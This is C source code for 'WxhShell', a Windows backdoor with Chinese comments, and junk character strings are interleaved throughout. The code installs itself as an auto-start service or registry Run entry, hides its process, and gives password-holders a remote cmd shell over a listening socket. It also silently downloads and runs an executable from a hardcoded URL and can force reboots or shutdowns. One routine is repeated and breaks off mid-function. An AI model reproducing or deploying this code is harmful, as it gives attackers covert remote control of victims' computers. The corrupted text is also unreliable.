static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #jR1ti)p static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *6P)HU@ {(qH8A HANDLE hProcess; Qx}hiv/ PROCESS_BASIC_INFORMATION pbi; X0gWTs `}&}2k HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LDq(WPI1# if(NULL == hInst ) return 0; nM&UdKf3 's6hCs&|NV g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 23[X mBf g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^Dw18gqr=@ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1c03<(FCd O2>W#7 if (!NtQueryInformationProcess) return 0; Lk]/{t0 0@PI=JZ% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fIg~[VN" if(!hProcess) return 0; Av^<_`L: !3Me
6&$O if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8qQrJFm|3* +%RB&:K7, CloseHandle(hProcess); 8&KqrA86 8n)3'ok hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nc[V kJ] if(hProcess==NULL) return 0; ` z!?!"= _i+7O^=d6X HMODULE hMod; dW>$C_`? char procName[255]; *%`jcF unsigned long cbNeeded; Hs6}~d B#;0{ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); joJ:*oL 14;lB.$p CloseHandle(hProcess); |9cSG),z /"OJ~e_% if(strstr(procName,"services")) return 1; // 以服务启动 9\D 0mjn=l YO^iEI. return 0; // 注册表启动 W0>fu> } )MJy GjvTYg~ // 主模块 $>y int StartWxhshell(LPSTR lpCmdLine) '2.11cM3 { dX:#KdK SOCKET wsl; maTZNzy BOOL val=TRUE; TdH~sz int port=0; 4 Z< struct sockaddr_in door; tM;S
)S(= P _3U4J if(wscfg.ws_autoins) Install(); G`r*)pdm QHuh=7u) port=atoi(lpCmdLine); E?Ofkc$q
j8"2K^h= if(port<=0) port=wscfg.ws_port;
1|zy6 5uufpvah WSADATA data; !2Q> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b5Pakz=jNM mMRdnf!Uid if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bkfk9P setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
Rk.GrLp door.sin_family = AF_INET; vswBK-w(Z door.sin_addr.s_addr = inet_addr("127.0.0.1"); [v$NxmRu door.sin_port = htons(port); #[{xEVf mjz<,s`D if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '+{dr\nJ closesocket(wsl); l]o)KM< return 1; 6C|]Fm } 'uOzC"_yF \4e6\6 + if(listen(wsl,2) == INVALID_SOCKET) { nmrYB w> closesocket(wsl); %[C-KQH return 1; 3V`.< } _z3YB Wxhshell(wsl); `Gp!Y WSACleanup(); _C97G& N>}2&'I return 0; [5Dg%?x #UpxF?A( } kGX;x}q ]\t+zF>&Y // 以NT服务方式启动 {Qla4U VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #Qp.O@e { P7iU_CgyW DWORD status = 0; gwepaW DWORD specificError = 0xfffffff; eZWR)+aq @j Y_^8#S serviceStatus.dwServiceType = SERVICE_WIN32; W^^}-9 serviceStatus.dwCurrentState = SERVICE_START_PENDING; WaRYrTDv64 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1"82JN|! serviceStatus.dwWin32ExitCode = 0; M%NapK serviceStatus.dwServiceSpecificExitCode = 0; @.fyOyOC serviceStatus.dwCheckPoint = 0; XiB]I5(hcc serviceStatus.dwWaitHint = 0; g$f; 8>|@O<2\ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =
5E:C P if (hServiceStatusHandle==0) return; =':,oz^| }@V,v[&e status = GetLastError(); dn1Tu6f;| if (status!=NO_ERROR) pH1 9"=p< { 20t</lq. serviceStatus.dwCurrentState = SERVICE_STOPPED; /:}z*a serviceStatus.dwCheckPoint = 0; ohA@Zm8O serviceStatus.dwWaitHint = 0; c.\J_^ serviceStatus.dwWin32ExitCode = status; fii\&p7z serviceStatus.dwServiceSpecificExitCode = specificError;
Dy[
YL SetServiceStatus(hServiceStatusHandle, &serviceStatus); F^]?'`7md return; cs%NsnZ } '0xJp|[xVP (Q$]X5L serviceStatus.dwCurrentState = SERVICE_RUNNING; }bs2Rxkh serviceStatus.dwCheckPoint = 0; cCj pQ serviceStatus.dwWaitHint = 0; m9Uoq[1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E+&]96*Lby } '*KP{"3\ DjT ekn // 处理NT服务事件,比如:启动、停止 M\s^>7es VOID WINAPI NTServiceHandler(DWORD fdwControl) _z!0ab { a'v%bL;H~ switch(fdwControl) [i '\d} { DvuL1MeKo case SERVICE_CONTROL_STOP: zq5_&AeW serviceStatus.dwWin32ExitCode = 0; )^&)f!f serviceStatus.dwCurrentState = SERVICE_STOPPED; LQMVC^G serviceStatus.dwCheckPoint = 0; W`PK9juu serviceStatus.dwWaitHint = 0; W&>+~A { pP'-}% SetServiceStatus(hServiceStatusHandle, &serviceStatus); z^f-MgWG } CDcs~PR@B return; h ,@x5q>g case SERVICE_CONTROL_PAUSE: Wb4%=2Qn serviceStatus.dwCurrentState = SERVICE_PAUSED; \4SFD3$& break; uK?T<3]' case SERVICE_CONTROL_CONTINUE: $Q:5KNF+p serviceStatus.dwCurrentState = SERVICE_RUNNING; 7<=7RPWmD break; )W@H case SERVICE_CONTROL_INTERROGATE: o4kNDXP#S break; m,u?
^W }; >oc7=F<8lS SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lh &L5p7 } c3lfmTT6^ *ihg' // 标准应用程序主函数 w?AE8n$8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Oz9k.[j( { ubhem(p# oh;F]*k6 // 获取操作系统版本 b>%I=H%g OsIsNt=GetOsVer(); ^3`98y.Q GetModuleFileName(NULL,ExeFile,MAX_PATH); s8``U~D is}Fy>9i // 从命令行安装 na
FZ<'t>& if(strpbrk(lpCmdLine,"iI")) Install(); Q9[dUdQm utwh"E&W // 下载执行文件 <,0&Ox if(wscfg.ws_downexe) { tS2lex% if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eT+MN` WinExec(wscfg.ws_filenam,SW_HIDE); 5b B[o6+ } -o#0Yt}3 >?e*;f$VdJ if(!OsIsNt) { e_ 6
i896 // 如果时win9x,隐藏进程并且设置为注册表启动 JoZC+G HideProc();
xuelo0h, StartWxhshell(lpCmdLine); "0L@cOyG } /]xd[^ else j.CC.[$g if(StartFromService()) YA^9, q6u? // 以服务方式启动 CSU> nIE0 StartServiceCtrlDispatcher(DispatchTable); $zCUQthL@ else $)@zlnU // 普通方式启动 HIhoYSwB StartWxhshell(lpCmdLine); >[xQUf,p I{cn ,,8 return 0; ecf7g)+C } *OF7{^~& 4r(rWlM ]Ly)%a32 'd?8OV =========================================== PfrW,R~r JsPuxu_ :OI!YR%" v2@M,xbxF: V43JY_: C-6+ZIk4 " `%ymg8^ 0/K NXz #include <stdio.h> &U
'Ds! #include <string.h> g1J]z<& #include <windows.h> vJq`l3& #include <winsock2.h> T
|j^ #include <winsvc.h> OClY,@ #include <urlmon.h> Eun%uah6c r9vC&pWZ #pragma comment (lib, "Ws2_32.lib") |E7]69=P #pragma comment (lib, "urlmon.lib") ~`N|sI, G8oQSo;D #define MAX_USER 100 // 最大客户端连接数 \+Cp<Hv+ #define BUF_SOCK 200 // sock buffer xDlC]loi7 #define KEY_BUFF 255 // 输入 buffer :,VyOmf K->p&6s #define REBOOT 0 // 重启 'ZDa *9nkF #define SHUTDOWN 1 // 关机 eB]ZnJ2^= E0oJ|My #define DEF_PORT 5000 // 监听端口 ^$#Q_Y| ac&tpvij #define REG_LEN 16 // 注册表键长度 *p WswcV/ #define SVC_LEN 80 // NT服务名长度 x`eYC i o`sn/x // 从dll定义API d7G'+B 1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rz.`$b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N]=.I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uPp(l4(+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ohh 1DsB v^E5'M[A // wxhshell配置信息 cALu struct WSCFG { 3> fuH'= int ws_port; // 监听端口 ja>T nfu char ws_passstr[REG_LEN]; // 口令 [D?E\Nkk int ws_autoins; // 安装标记, 1=yes 0=no er<~dqZ}] char ws_regname[REG_LEN]; // 注册表键名 (Pu*[STTT char ws_svcname[REG_LEN]; // 服务名 G/`_$ c char ws_svcdisp[SVC_LEN]; // 服务显示名 XnG!T$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 V?rI,'F>N char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]JM9 ^F int ws_downexe; // 下载执行标记, 1=yes 0=no HxM-VK ' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !{3pp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qzyQ2a_p i gQyn|
}; =Tj0dfO|" n_+Iw,a'm // default Wxhshell configuration <St`"H struct WSCFG wscfg={DEF_PORT, (HJ60Hj "xuhuanlingzhe", Yp;x 1, ,#m\W8j "Wxhshell", x-W0 h "Wxhshell", C'$U1%:
j "WxhShell Service", CRf^6k_;( "Wrsky Windows CmdShell Service", {M$8V~8D "Please Input Your Password: ", %q!nTGU~ 1, @rdC/=Y[ "http://www.wrsky.com/wxhshell.exe", fAm2ls7c "Wxhshell.exe" lk'RWy"pw }; =Vv{ td & 3a+6!L[ // 消息定义模块 l%:_#1?isf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l{3utQH-=z char *msg_ws_prompt="\n\r? for help\n\r#>"; jW*A(bK8: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nAYjSE char *msg_ws_ext="\n\rExit."; /[-hJ=<Yb char *msg_ws_end="\n\rQuit."; lDA%M3(p char *msg_ws_boot="\n\rReboot...";
i}YnJ char *msg_ws_poff="\n\rShutdown..."; @GV^B'}* char *msg_ws_down="\n\rSave to "; qjFgy)qV _1Eyqh`oh char *msg_ws_err="\n\rErr!"; ls5S9R 5 char *msg_ws_ok="\n\rOK!"; Cm&itG Tv KX8 m" char ExeFile[MAX_PATH]; aG ,uF int nUser = 0; &V;a: HANDLE handles[MAX_USER]; .6hH}BM int OsIsNt; Mu%'cwp$ 4H:WpW*r SERVICE_STATUS serviceStatus; -_}EQ9Q SERVICE_STATUS_HANDLE hServiceStatusHandle; ?\yo~=N^ _`(g? // 函数声明 'SY&-<t( int Install(void); 3_ >R's8P int Uninstall(void); }0TY int DownloadFile(char *sURL, SOCKET wsh); F,bl>;{[{ int Boot(int flag); t>[r88v void HideProc(void); h
Na<LZ int GetOsVer(void); wVVe L$28 int Wxhshell(SOCKET wsl); jL8zH void TalkWithClient(void *cs); /IC'R"V a int CmdShell(SOCKET sock); Zry>s0 int StartFromService(void); 7MfT~v int StartWxhshell(LPSTR lpCmdLine); tX_eN (!b:
gG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6IX!9I\sT VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7-dwr?j7 BAhC-;B#R // 数据结构和表定义 M Q6Y^,B SERVICE_TABLE_ENTRY DispatchTable[] = ,y >Na{@Y { @K/Ia!Lw {wscfg.ws_svcname, NTServiceMain}, @.{ {NULL, NULL} A_.QHUjpx }; r~TT c)2 xEBjfn // 自我安装 Q^k#?j# int Install(void) (gZ!o_ { !2Orklzd1 char svExeFile[MAX_PATH]; A0XFu}
HKEY key; U,=K_oBAq strcpy(svExeFile,ExeFile); x6t;= |^F-.Z // 如果是win9x系统,修改注册表设为自启动 5c"kLq6r if(!OsIsNt) { E;qwoTmul if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1bBK1Uw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JvDsr0]\# RegCloseKey(key); WdT|xf.Q& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |(%H O@i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )>fi={!=c RegCloseKey(key); e-VLU; return 0; !r|X6`g } 9<#D0hh$ } BUb(BzC } 6"GpE5'* else { xYT.J 6 &Yg/08* // 如果是NT以上系统,安装为系统服务 %gaKnT(|r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QP#Wfk(C if (schSCManager!=0) #-;BU{3* { G
DV-wPX SC_HANDLE schService = CreateService L9T u>4 ( :m d3@r'] schSCManager, Pio^5jhB6 wscfg.ws_svcname, z+*Z<c5d wscfg.ws_svcdisp, -?W@-*J SERVICE_ALL_ACCESS, |6>_L6t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aM~fRra7 SERVICE_AUTO_START, f2wW2]Fg SERVICE_ERROR_NORMAL, W%1S:2+Kl svExeFile, }>0
Kc= NULL, ~S3eatM$9 NULL, \ax%I)3 NULL, }kj6hnQ NULL, L|X5Ru NULL ^NDX4d; ); Nj0)/)<r+ if (schService!=0) aJ8pJ{,P { rg,63r CloseServiceHandle(schService); vNC0M:p, CloseServiceHandle(schSCManager); ]D%k)<YK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N-gRfra+8L strcat(svExeFile,wscfg.ws_svcname); 6<Z:Xw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [fp"MPP3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); blcKtrYg RegCloseKey(key); vgj^ - return 0; lQBM0|n } Gq*)]X{Ua } j;)g+9` CloseServiceHandle(schSCManager); ^%&x{F. } %K"%Qm=Tl } u7?juI#Cl 1c#'5~nB return 1; G+uiZ(p> } (fa?ftK s3{s.55{m // 自我卸载 &._!)al int Uninstall(void) a[n$qPm} { `?JgHk HKEY key; ~7pjk pGY]VwY if(!OsIsNt) { 7X(]r1-+\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vC:b?0s #( RegDeleteValue(key,wscfg.ws_regname); AiZFvn[n8 RegCloseKey(key); A+I&.\QAR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J\3} il
N RegDeleteValue(key,wscfg.ws_regname); #[y<h3f] RegCloseKey(key); N}fUBX4k return 0; N-`;\ } hXm}d\ } ,dx)rZ* } JtpY][}"~3 else { L\NZDkd S |>$0P4W( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7E`(8i if (schSCManager!=0) 5L}>+js2 { 5lnSa+_/f SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jJ!-hg4?] if (schService!=0) ).C! { Wk\@n+Q{] if(DeleteService(schService)!=0) { ^Pd37&B4V CloseServiceHandle(schService); T[-c| CloseServiceHandle(schSCManager); ]M;6o@hq return 0; q9Sz7_K } -Zg @D(pF CloseServiceHandle(schService); Reu{
} *Ca)RgM CloseServiceHandle(schSCManager); JA(fam~{ } RX5.bVp
eE } kLt9;<L ;#s}b1 return 1; liqR#< }
iN_D8dI =5~F6to // 从指定url下载文件 W[E3P,XS int DownloadFile(char *sURL, SOCKET wsh) xwnoZ&h { :KSor}t HRESULT hr; JhCkkw char seps[]= "/"; N4mJU'_{ char *token; 99"[b char *file; hNnX-^J<o char myURL[MAX_PATH]; pP* ~ =? char myFILE[MAX_PATH]; rA1r#ksQ u=;nU(]M ' strcpy(myURL,sURL); !?o$-+a| token=strtok(myURL,seps); ^YR|WK Y while(token!=NULL) oD#>8Aw s { kq~[k. file=token; rEyz|k: token=strtok(NULL,seps); ,LW+7yD } c5E#QV0&v~ [OZ=iz. GetCurrentDirectory(MAX_PATH,myFILE); rN1U.FRe/ strcat(myFILE, "\\"); -
SS r strcat(myFILE, file); ~sIGI?5f send(wsh,myFILE,strlen(myFILE),0); [z% ?MIT send(wsh,"...",3,0); zk5=Opmvh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "6N~2q,SW if(hr==S_OK) ,.jHV return 0; 7grt4k else Bw<zc=% return 1; x} &a{; ]hE+$sKd } .S!>9X,
5m^Hi}S_ // 系统电源模块 4b2mtLn_ int Boot(int flag) Mf:M3H%YV+ { BKQIo)g.G HANDLE hToken; /Y[o=Uyl TOKEN_PRIVILEGES tkp; -nk#d%a\ TcD[Teu if(OsIsNt) { FU\/JF.j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )!k_Gb`#X LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8b 8\ tkp.PrivilegeCount = 1; 0^9:KZ.! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }B"|z'u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _t|G@D{ if(flag==REBOOT) { +Cf0Y2*@hM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YxEbg(Y return 0; x(9;!4O> } TTZ['HP
oI else { 1a&/Zlr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5'X74` return 0; M_h8#7 {G } U.RW4df%E } VJN/#
else { O:;OR'N9 if(flag==REBOOT) { ^p 2.UW if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g={]Mzh return 0; 2"leUur~rO } 1Sg|3T8bGT else { f4'El2>-86 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v`S2M return 0; T+;H#& } K[uY+!'1 } -".kH<SWv 3J'73)y return 1; LAv:+o(m/ } "Su
b4F` jVad)2D // win9x进程隐藏模块 *%X6F~h(u void HideProc(void) vZb|!#I { Cs:+93w ^n&]HzT`y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s>jr1~~3O_ if ( hKernel != NULL ) O`i)?BC { X!o[RJY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _BG8/"h32 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &so-O90 FreeLibrary(hKernel); 'y4zBLY } g.I(WJX0 -ca7x`yo return; .[T'yc:= } %n05Jitl @up&q // 获取操作系统版本 7
9Qc`3a int GetOsVer(void) 5/B#) gm { D:wnO|: OSVERSIONINFO winfo; +`;+RDKY* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0A#*4ap GetVersionEx(&winfo); &
u$(NbK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U~uwm/h return 1; 6FL?4>MZ
else _urG_~q return 0; 59{;VY81 } -7>^
rR V `"a? a5]k // 客户端句柄模块 |DN^NhtE int Wxhshell(SOCKET wsl) K;oV"KRK { o]Z
_@VI SOCKET wsh; gtD struct sockaddr_in client; t< sp%zXZ DWORD myID; w&p~0cA~ TC qkm^xv while(nUser<MAX_USER) NWEhAj<w { UT3bd,, int nSize=sizeof(client); \un sh^M wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UTZ776`S&X if(wsh==INVALID_SOCKET) return 1; .#*D!;f +7V=aNRlE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GI4?|@%vD! if(handles[nUser]==0) <57g{e0I closesocket(wsh); m8'@UzB else bb|}' nUser++; >s&XX,
w } fO K|: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sffhPX\I -i#J[>=w{C return 0; @-0Fe9 n= } 9Ei5z6Vk/+ N99[.mErU // 关闭 socket ^_@r.y] void CloseIt(SOCKET wsh) =0,|/1~ { /@VsqD closesocket(wsh); {'NBp0i nUser--; -*?p F_*w ExitThread(0); R"@7m!IA } v@VLVf)>9^ HLVQ7 // 客户端请求句柄 jDR')ascn void TalkWithClient(void *cs) FJ{=2]x| {
6DB0ni d$w(-tV42 SOCKET wsh=(SOCKET)cs; ~i%-WX char pwd[SVC_LEN]; C1b*v&1{ char cmd[KEY_BUFF]; z.
'Fv7 char chr[1]; $; ?c?n+ int i,j; C>^,*7dS >w9sE8i while (nUser < MAX_USER) { Q| ?'(J+ W!t{rI7 2 if(wscfg.ws_passstr) { iQqqs`K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tww=~! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $]C=qM28- //ZeroMemory(pwd,KEY_BUFF); wh%xkXa[ur i=0; :vpl+)n while(i<SVC_LEN) { tZbFvk2 6,X+1EXY // 设置超时 C,fY.CeI fd_set FdRead; Pb#P`L7OB struct timeval TimeOut; vm8$:W2 } FD_ZERO(&FdRead); 1I ""X]I_ FD_SET(wsh,&FdRead); "# !D|[h0 TimeOut.tv_sec=8; CphFv!k'Z TimeOut.tv_usec=0; (~JwLe@a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rvwa!YY} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W RF.[R" 0LdJZP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yNBv-oe5 pwd=chr[0]; <:">mV+/ if(chr[0]==0xd || chr[0]==0xa) { e!GZSk
pwd=0; YxXqI break; Goxl3LS< } HmMO*k<6@ i++; ! D$Ooamq } "tUwo(K[ `{[RjM` // 如果是非法用户,关闭 socket UbO4%YHt if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5Tedo~v } =_l)gx+Y+y ++b$E&lYU send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |#k@U6`SG send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }AlYNEY PQ$sOK|/ while(1) { Nar>FR7ut lbTV$A ZeroMemory(cmd,KEY_BUFF); 7tRi"\[5 <YH=3[ // 自动支持客户端 telnet标准 HJIC<U j=0; \|.7-X while(j<KEY_BUFF) { Tg0CE60"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yrnv!moc%t cmd[j]=chr[0]; `rlk|&T1 if(chr[0]==0xa || chr[0]==0xd) { vy[C'a cmd[j]=0; ?F_)- break; S( } !J3UqS j++; 22&;jpL'?
} $5NKFJc py
@(
< // 下载文件 l(!/Q|Q| if(strstr(cmd,"http://")) { <F(><Xw,-4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ! \sMR if(DownloadFile(cmd,wsh)) wksl0:BL send(wsh,msg_ws_err,strlen(msg_ws_err),0); :QPf~\w? else .XS9,/S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MLr-,
"gs } -_em%o3XC else { GSi>l,y' "hQgLG switch(cmd[0]) { #$E)b:xj jo9gCP. // 帮助 lyv4fP case '?': { >P=Q #;v send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;SY\U7B\ break; aJzLrX } cE\>f8 I // 安装 !Ms[eB case 'i': { mV)+qXC if(Install()) pr&=n;_ n send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Y`Ib0$ else ]JXKZV8$0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [M%._u, break; dg_G s>?2 } > 'i // 卸载 A6!F@Ic[ case 'r': { A&"%os if(Uninstall()) ^x m$EY*Y, send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?6"{!s{v else >/=> B7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]rN#B-aAr break; R[jEvyD>( } &%mXYj3y5 // 显示 wxhshell 所在路径 !RH.|} case 'p': { /.1.MssQM char svExeFile[MAX_PATH]; yK%ebq] strcpy(svExeFile,"\n\r"); @7<uMasfp strcat(svExeFile,ExeFile); (Un_!) send(wsh,svExeFile,strlen(svExeFile),0); ,r8Tbk]m break; \r{W } _S`o1^Ad // 重启 CU)|-*uiK case 'b': { 3\:y8| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'hqBo| if(Boot(REBOOT)) &JP-O60 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Qh?>n>* else { }`\/f closesocket(wsh); eOI (6U! ExitThread(0); CAD@XZSh } SF[FmN!^^ break; t#i,1aHA } r]Lc9dL // 关机 ~Z'w)!h case 'd': { 8|%^3O 0X send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8}s.Fg@tE if(Boot(SHUTDOWN)) Qf $|_&| send(wsh,msg_ws_err,strlen(msg_ws_err),0); x@Hd^xH` else { rXfy!rD_P_ closesocket(wsh); p-SJ6Gg
9 ExitThread(0); ]#2Y e7+ } alq%H}FF break; vVl; | } m P'^%TE // 获取shell BV#78,8( case 's': { hC <O`|lF CmdShell(wsh); v<Kmq-b closesocket(wsh); U}k9 Py ExitThread(0); E&$yuW^z break; Yz$3;
} $%R$G`.KM // 退出 jPZaD>! case 'x': { 67SV~L#%O send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 26vp1 CloseIt(wsh); {gbn/{ break; j _L@U2i } wV\gj~U;P // 离开 d5 7i)= case 'q': { $(e#aHB send(wsh,msg_ws_end,strlen(msg_ws_end),0); X;v$5UKU closesocket(wsh); '6y}ZE[ WSACleanup(); mtz#}qD66 exit(1); -#!x|ne break; /,=@8k!t? } { FZ=olZ } N-
H^lqD } 5NoI~X= /zDi9W*~1 // 提示信息 jO*l3:!~ \ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UhA"nt0 } @c9^q>Uv } R218(8S B/~%h | return; &`0/CV } \.YS%"Vz )WT>@ // shell模块句柄 %1}K""/ int CmdShell(SOCKET sock) D(-yjY8aG { 4SPy28<f STARTUPINFO si; h.O$]:N ZeroMemory(&si,sizeof(si)); =0uAE7q(9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !$N<ds. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EnOU?D PROCESS_INFORMATION ProcessInfo; ib{-A& char cmdline[]="cmd"; N_:qRpp6i CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^j-3av= return 0; EF3Cdu{]P } $/!{OU.t` H"ZZ.^"5FV // 自身启动模式 ;22oY>w int StartFromService(void) m3Il3ZY. { otggN:^Qw typedef struct [kE."# { 7i&:DePM'q DWORD ExitStatus; T^J >ZDA DWORD PebBaseAddress; jReXyRmo({ DWORD AffinityMask; Xp0F
[>h DWORD BasePriority; u#}[ZoI ULONG UniqueProcessId; x#Sqn# ULONG InheritedFromUniqueProcessId; !uQPc } PROCESS_BASIC_INFORMATION; a5a($D Reatdh PROCNTQSIP NtQueryInformationProcess; S[WG$ Sb~MQ_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #>Zzf static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;2B{ 9{ @E:,lA HANDLE hProcess; ?-^~f PROCESS_BASIC_INFORMATION pbi; OS8q( 2z?s (?nCyHC%g HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _h}kp\sps if(NULL == hInst ) return 0; `ZC<W]WYX/ y!!2WHvE g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L:@7tc. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +\v?d&.f0 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,}K<*t[I [jmd if (!NtQueryInformationProcess) return 0; !.d@L6 9k{PBAP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2RSt)3!}, if(!hProcess) return 0; ;G%R<Z yn#X;ja- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lok= \L"kV!> CloseHandle(hProcess); )ZN|t?| qvPtyc^fN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j_Yp>=+[ 